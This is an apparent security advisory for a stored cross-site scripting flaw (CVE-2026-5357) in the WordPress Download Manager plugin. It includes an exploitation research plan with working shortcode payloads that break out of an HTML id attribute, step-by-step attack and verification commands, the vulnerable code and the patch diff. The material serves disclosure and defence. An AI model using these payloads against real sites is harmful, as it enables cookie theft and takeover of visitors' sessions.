Download Manager <= 3.3.52 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes
Description
The Download Manager plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'sid' parameter of the 'wpdm_members' shortcode in versions up to and including 3.3.52. This is due to insufficient input sanitization and output escaping on the user-supplied 'sid' shortcode attribute. The sid parameter is extracted without sanitization in the members() function and stored via update_post_meta(), then echoed directly into an HTML id attribute in the members.php template without applying esc_attr(). This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses the injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=3.3.52What Changed in the Fix
Changes introduced in v3.3.53
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-5357 ## 1. Vulnerability Summary The **Download Manager** plugin (<= 3.3.52) contains a stored cross-site scripting (XSS) vulnerability within the `[wpdm_members]` and `[wpdm_authors]` shortcodes. The vulnerability arises because the `sid` attribute (shortcod…
Show full research plan
Exploitation Research Plan - CVE-2026-5357
1. Vulnerability Summary
The Download Manager plugin (<= 3.3.52) contains a stored cross-site scripting (XSS) vulnerability within the [wpdm_members] and [wpdm_authors] shortcodes. The vulnerability arises because the sid attribute (shortcode ID) is extracted without sanitization in the members() function of the WPDM\User\User class. This value is subsequently stored in post metadata via update_post_meta() and, more critically, rendered directly into an HTML id attribute within the members.php template without any output escaping (such as esc_attr()).
2. Attack Vector Analysis
- Shortcode:
[wpdm_members]or[wpdm_authors]. - Vulnerable Attribute:
sid. - Authentication Level: Contributor+ (any user with the
edit_postscapability who can use shortcodes). - Preconditions: The attacker must be able to create or edit a post/page and insert a shortcode.
- Payload Delivery: The payload is delivered by saving a post containing the malicious shortcode. Execution occurs when any user (including administrators) views the post.
3. Code Flow
- Entry Point:
src/User/User.php:WPDM\User\User::__construct()registers the shortcodes:add_shortcode('wpdm_members', [$this, 'members']); add_shortcode('wpdm_authors', [$this, 'members']); - Processing Source:
src/User/User.php:WPDM\User\User::members($params):function members($params = array()) { $sid = isset($params['sid']) ? $params['sid'] : ''; // Storage sink (side-effect) update_post_meta(get_the_ID(), '__wpdm_users_params' . $sid, $params); ob_start(); // Template inclusion include Template::locate("members.php", __DIR__.'/views'); return ob_get_clean(); } - Sink:
src/User/views/members.php(inferred from description):
The template uses the$sidvariable directly inside an HTML attribute:
Since<div id="wpdm-members-<?php echo $sid; ?>">$sidis taken directly from the$paramsarray passed to the shortcode handler, an attacker can inject a breakout sequence.
4. Nonce Acquisition Strategy
No nonce is required.
Shortcodes are executed by the WordPress core do_shortcode() function when a post's content is rendered. The "storage" occurs as a side effect of rendering the shortcode (update_post_meta is called inside the shortcode handler). Therefore, the only "request" needed to store and trigger the XSS is the standard post creation/edit request, which is protected by standard WordPress _wpnonce for post editing, but once the post is published, the vulnerability triggers for every viewer without further authentication or nonces.
5. Exploitation Strategy
Step 1: Create a Post with a Malicious Shortcode
Use a Contributor account to create a post containing the XSS payload.
- URL:
http://[target]/wp-admin/post-new.php - Method:
POST(viahttp_requestor automation tool to simulate the Save/Publish action). - Payload:
Alternative payload for attribute breakout:[wpdm_members sid='"><script>alert(document.cookie)</script>'][wpdm_members sid='x" onmouseover="alert(1)" style="width:1000px;height:1000px;display:block;"']
Step 2: View the Post
Navigate to the URL of the newly created post.
- URL:
http://[target]/?p=[POST_ID] - Action: Render the page content.
6. Test Data Setup
- User Creation:
- Create a user with the Contributor role using WP-CLI:
wp user create attacker attacker@example.com --role=contributor --user_pass=password123
- Create a user with the Contributor role using WP-CLI:
- Plugin Activation:
- Ensure
download-managerversion 3.3.52 is active.
- Ensure
7. Expected Results
- Upon viewing the post, the HTML source should contain a broken
idattribute similar to:<div id="wpdm-members-"><script>alert(document.cookie)</script>"> - A JavaScript alert box showing the user's cookies should appear in the browser.
8. Verification Steps
- Check Post Meta: Verify that the malicious
sidwas used in a meta key:wp post meta list [POST_ID]
Look for a key starting with__wpdm_users_params. - Inspect HTML Output:
Usebrowser_navigateto the post andbrowser_evalto check for the script:browser_eval("document.querySelector('script').textContent.includes('alert')")
9. Alternative Approaches
If the sid is sanitized before storage but not before output (unlikely given the code), attempt to use other parameters in the $params array if they are also echoed in members.php.
Parameters to test: cols, items_per_page, role.
If wpdm_members doesn't render as expected, try the alias:[wpdm_authors sid='"><script>alert(1)</script>']
If the site uses the Block Editor (Gutenberg), the payload can be inserted via a "Shortcode" block or a "Classic" block. The underlying storage mechanism remains post_content.
Summary
The Download Manager plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'sid' attribute of the [wpdm_members] and [wpdm_authors] shortcodes. Authenticated attackers with contributor-level permissions can inject arbitrary web scripts into pages that execute when users view the affected content, due to insufficient sanitization and escaping of the shortcode ID parameter.
Vulnerable Code
// src/User/User.php function members($params = array()) { $sid = isset($params['sid']) ? $params['sid'] : ''; // Line 175: No sanitization of user-supplied sid update_post_meta(get_the_ID(), '__wpdm_users_params' . $sid, $params); ob_start(); include Template::locate("members.php", __DIR__.'/views'); return ob_get_clean(); } --- // src/User/User.php (within listAuthors context) if (!$params) $params = get_post_meta(wpdm_query_var('_pid', 'int'), '__wpdm_users_params' . wpdm_query_var('_sid'), true); // Line 187: Unsanitized use of _sid query variable
Security Fix
@@ -172,7 +172,8 @@ function members($params = array()) { - $sid = isset($params['sid']) ? $params['sid'] : ''; + $sid = isset($params['sid']) ? preg_replace('/[^a-zA-Z0-9_\-]/', '', $params['sid']) : ''; + $params['sid'] = $sid; update_post_meta(get_the_ID(), '__wpdm_users_params' . $sid, $params); ob_start(); include Template::locate("members.php", __DIR__.'/views'); @@ -183,7 +184,7 @@ { - if (!$params) $params = get_post_meta(wpdm_query_var('_pid', 'int'), '__wpdm_users_params' . wpdm_query_var('_sid'), true); + if (!$params) $params = get_post_meta(wpdm_query_var('_pid', 'int'), '__wpdm_users_params' . preg_replace('/[^a-zA-Z0-9_\-]/', '', wpdm_query_var('_sid')), true); $page = isset($_REQUEST['cp']) && $_REQUEST['cp'] > 0 ? (int)$_REQUEST['cp'] : 1; $items_per_page = isset($params['items_per_page']) ? $params['items_per_page'] : 12; //$offset = $page * $items_per_page;
Exploit Outline
The exploit is achieved by an authenticated user (Contributor or higher) creating a post or page and inserting a malicious shortcode. The attacker sets the 'sid' attribute of the [wpdm_members] or [wpdm_authors] shortcode to contain a payload designed to break out of an HTML attribute (e.g., sid='"><script>alert(1)</script>'). When the post is rendered, the handler in User.php processes the unsanitized 'sid' and includes the members.php template, which reflects the 'sid' value directly into an HTML element's 'id' attribute without escaping, leading to script execution in the viewer's browser.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.